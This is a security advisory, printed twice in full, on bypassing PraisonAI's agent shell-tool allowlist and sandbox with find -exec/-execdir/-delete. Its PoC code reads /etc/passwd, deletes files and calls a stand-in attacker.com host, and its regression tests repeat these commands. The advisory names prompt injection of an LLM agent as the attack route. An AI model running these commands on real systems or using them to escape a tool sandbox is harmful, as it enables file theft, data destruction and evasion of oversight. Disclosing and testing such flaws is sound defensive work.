CVE-2026-61434

### Summary The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via `find`'s built-in `-exec` action. The fix blocks shell metacharacters (`` ;|&`><$()${} ``) and uses `spawn()` with `shell: false`. However, `find` remains in the safe command allowlist, and its `-exec ... {} +` action executes commands without shell metacharacters — the `+` batch terminator replaces the blocked `;` terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each). ### Details **Root cause**: Each of the four implementations validates the **first token** of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to `spawn()`/`subprocess.Popen()` with `shell: false`. Shell metacharacter injection is indeed blocked. However, `find` is a Unix command with **built-in execution actions**: `-exec`, `-execdir`, `-delete`, `-ok`, `-okdir`. These actions are interpreted by `find` itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload `find /etc -name passwd -maxdepth 1 -execdir cat {} +` passes the regex at line 240 of utility-tools.ts): ``` find /path -exec <command> {} + ``` The `+` terminator (batch mode) avoids `;` which IS blocked by the metacharacter regex. **Affected components** (4 implementations, same gap): | # | Component | File | Gap | |---|---|---|---| | 1 | TS utility-tools `shell()` | `src/praisonai-ts/src/tools/utility-tools.ts:255` | `find` in `safeCommands` allowlist | | 2 | TS SandboxExecutor | `src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50` | `find` absent from `DEFAULT_BLOCKED_COMMANDS` | | 3 | Python `safe_shell` | `src/praisonai/praisonai/cli/features/safe_shell.py:22-58` | `find` absent from `BANNED_COMMANDS`, present in `SAFE_COMMANDS` | | 4 | Python `sandbox_executor` | `src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91` | `find` absent from `blocked_commands` | **Bypass analysis**: | Check | `find /etc -name passwd -maxdepth 1 -execdir cat {} +` | Result | |---|---|---| | Metachar regex `/[;|&\`><]/` | `{`, `}`, `+` are not in regex | PASS | | Regex `/\$\([^)]*\)/` | No `$(...)` | PASS | | `safeCommands.includes('find')` | `find` IS in allowlist | PASS | | SandboxExecutor blocked paths | `normalized.includes('/etc/passwd')` → FALSE (path split: `/etc ` + `passwd`) | PASS | | `spawn('find', [...], {shell:false})` | find interprets `-execdir` internally | BYPASS | The `-execdir` technique also evades the SandboxExecutor's substring-based path restriction: `/etc` and `passwd` appear as separate arguments, so `/etc/passwd` never appears as a contiguous substring of the command string. **Preconditions**: | Precondition | How attacker obtains | Default? | |---|---|---| | Access to `shell()` or SandboxExecutor | Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y | | `find` binary on target | Standard Unix utility, present on Linux/macOS | Y | | `find` in allowlist / absent from blocklist | Default configuration in each implementation | Y | ### PoC **1. Data exfiltration via -execdir (utility-tools.ts)** ```javascript const { shell } = require('praisonai/dist/tools/utility-tools'); async function poc() { // Control: direct 'wget' is rejected (not in safeCommands) const control = await shell('wget http://example.com'); console.log('[CONTROL] rejected:', !control.success); // true // Bypass: find -execdir reads /etc/passwd via find's built-in action const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +'); console.log('[BYPASS]:', bypass.success); // true console.log(bypass.data); // root:x:0:0:root:/root:/bin/bash ... } poc(); ``` Code path: `safeCommands.includes('find')` → true → `containsShellMetacharacters(...)` → false → `spawn('find', ['/etc','-name','passwd','-maxdepth','1','-execdir','cat','{}','+'], {shell:false})` → find chdirs to /etc → `cat ./passwd` → exit 0 → `{success: true, data: "<passwd contents>"}`. **2. File deletion** ```javascript await shell('find /app/uploads -name "*.bak" -delete'); // -delete is a find built-in — clean exit 0, files deleted ``` **3. Non-allowlisted command (side-effect based)** ```javascript await shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +'); // HTTP request fires as side effect before find returns non-zero ``` **4. Python safe_shell** ```python from praisonai.cli.features.safe_shell import safe_execute result = safe_execute("find /etc -name passwd -maxdepth 1 -execdir cat {} +") print(result.stdout) # root:x:0:0:root:/root:/bin/bash ... ``` ### Impact An attacker who can influence the command parameter of `shell()` (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves: - **Blocked file read**: `-execdir` reads files in `DEFAULT_BLOCKED_PATHS` by splitting the path across arguments (verified: exit 0, data returned) - **File deletion**: `-delete` destroys files without metacharacters (verified: clean exit 0) - **Non-allowlisted command execution**: `-exec` runs commands not in safeCommands (side effect fires regardless of exit code) Shell substitution (`$(...)`) IS blocked, so the bypass is limited to executing binaries already on disk — but this includes `cat`, `chmod`, `python3`, `curl` etc. Same severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833. ### Suggested fix **Option A**: Remove `find` from each safe/allowed command list (4 locations). Simplest fix. **Option B**: If `find` must remain, parse arguments and reject `-exec`, `-execdir`, `-delete`, `-fls`, `-fprint`, `-fprintf`, `-ok`, `-okdir` flags. **Regression tests**: ```typescript test('rejects find -exec', async () => { expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false); }); test('rejects find -execdir', async () => { expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false); }); test('rejects find -delete', async () => { expect((await shell('find /app -name "*.bak" -delete')).success).toBe(false); }); ``` ### References - GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8) - GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High) - Fix commits: 2adfe7e, 2f9677a (2026-06-13)

### Summary The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via `find`'s built-in `-exec` action. The fix blocks shell metacharacters (`` ;|&`><$()${} ``) and uses `spawn()` with `shell: false`. However, `find` remains in the safe command allowlist, and its `-exec ... {} +` action executes commands without shell metacharacters — the `+` batch terminator replaces the blocked `;` terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each). ### Details **Root cause**: Each of the four implementations validates the **first token** of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to `spawn()`/`subprocess.Popen()` with `shell: false`. Shell metacharacter injection is indeed blocked. However, `find` is a Unix command with **built-in execution actions**: `-exec`, `-execdir`, `-delete`, `-ok`, `-okdir`. These actions are interpreted by `find` itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload `find /etc -name passwd -maxdepth 1 -execdir cat {} +` passes the regex at line 240 of utility-tools.ts): ``` find /path -exec <command> {} + ``` The `+` terminator (batch mode) avoids `;` which IS blocked by the metacharacter regex. **Affected components** (4 implementations, same gap): | # | Component | File | Gap | |---|---|---|---| | 1 | TS utility-tools `shell()` | `src/praisonai-ts/src/tools/utility-tools.ts:255` | `find` in `safeCommands` allowlist | | 2 | TS SandboxExecutor | `src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50` | `find` absent from `DEFAULT_BLOCKED_COMMANDS` | | 3 | Python `safe_shell` | `src/praisonai/praisonai/cli/features/safe_shell.py:22-58` | `find` absent from `BANNED_COMMANDS`, present in `SAFE_COMMANDS` | | 4 | Python `sandbox_executor` | `src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91` | `find` absent from `blocked_commands` | **Bypass analysis**: | Check | `find /etc -name passwd -maxdepth 1 -execdir cat {} +` | Result | |---|---|---| | Metachar regex `/[;|&\`><]/` | `{`, `}`, `+` are not in regex | PASS | | Regex `/\$\([^)]*\)/` | No `$(...)` | PASS | | `safeCommands.includes('find')` | `find` IS in allowlist | PASS | | SandboxExecutor blocked paths | `normalized.includes('/etc/passwd')` → FALSE (path split: `/etc ` + `passwd`) | PASS | | `spawn('find', [...], {shell:false})` | find interprets `-execdir` internally | BYPASS | The `-execdir` technique also evades the SandboxExecutor's substring-based path restriction: `/etc` and `passwd` appear as separate arguments, so `/etc/passwd` never appears as a contiguous substring of the command string. **Preconditions**: | Precondition | How attacker obtains | Default? | |---|---|---| | Access to `shell()` or SandboxExecutor | Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y | | `find` binary on target | Standard Unix utility, present on Linux/macOS | Y | | `find` in allowlist / absent from blocklist | Default configuration in each implementation | Y | ### PoC **1. Data exfiltration via -execdir (utility-tools.ts)** ```javascript const { shell } = require('praisonai/dist/tools/utility-tools'); async function poc() { // Control: direct 'wget' is rejected (not in safeCommands) const control = await shell('wget http://example.com'); console.log('[CONTROL] rejected:', !control.success); // true // Bypass: find -execdir reads /etc/passwd via find's built-in action const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +'); console.log('[BYPASS]:', bypass.success); // true console.log(bypass.data); // root:x:0:0:root:/root:/bin/bash ... } poc(); ``` Code path: `safeCommands.includes('find')` → true → `containsShellMetacharacters(...)` → false → `spawn('find', ['/etc','-name','passwd','-maxdepth','1','-execdir','cat','{}','+'], {shell:false})` → find chdirs to /etc → `cat ./passwd` → exit 0 → `{success: true, data: "<passwd contents>"}`. **2. File deletion** ```javascript await shell('find /app/uploads -name "*.bak" -delete'); // -delete is a find built-in — clean exit 0, files deleted ``` **3. Non-allowlisted command (side-effect based)** ```javascript await shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +'); // HTTP request fires as side effect before find returns non-zero ``` **4. Python safe_shell** ```python from praisonai.cli.features.safe_shell import safe_execute result = safe_execute("find /etc -name passwd -maxdepth 1 -execdir cat {} +") print(result.stdout) # root:x:0:0:root:/root:/bin/bash ... ``` ### Impact An attacker who can influence the command parameter of `shell()` (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves: - **Blocked file read**: `-execdir` reads files in `DEFAULT_BLOCKED_PATHS` by splitting the path across arguments (verified: exit 0, data returned) - **File deletion**: `-delete` destroys files without metacharacters (verified: clean exit 0) - **Non-allowlisted command execution**: `-exec` runs commands not in safeCommands (side effect fires regardless of exit code) Shell substitution (`$(...)`) IS blocked, so the bypass is limited to executing binaries already on disk — but this includes `cat`, `chmod`, `python3`, `curl` etc. Same severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833. ### Suggested fix **Option A**: Remove `find` from each safe/allowed command list (4 locations). Simplest fix. **Option B**: If `find` must remain, parse arguments and reject `-exec`, `-execdir`, `-delete`, `-fls`, `-fprint`, `-fprintf`, `-ok`, `-okdir` flags. **Regression tests**: ```typescript test('rejects find -exec', async () => { expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false); }); test('rejects find -execdir', async () => { expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false); }); test('rejects find -delete', async () => { expect((await shell('find /app -name "*.bak" -delete')).success).toBe(false); }); ``` ### References - GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8) - GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High) - Fix commits: 2adfe7e, 2f9677a (2026-06-13)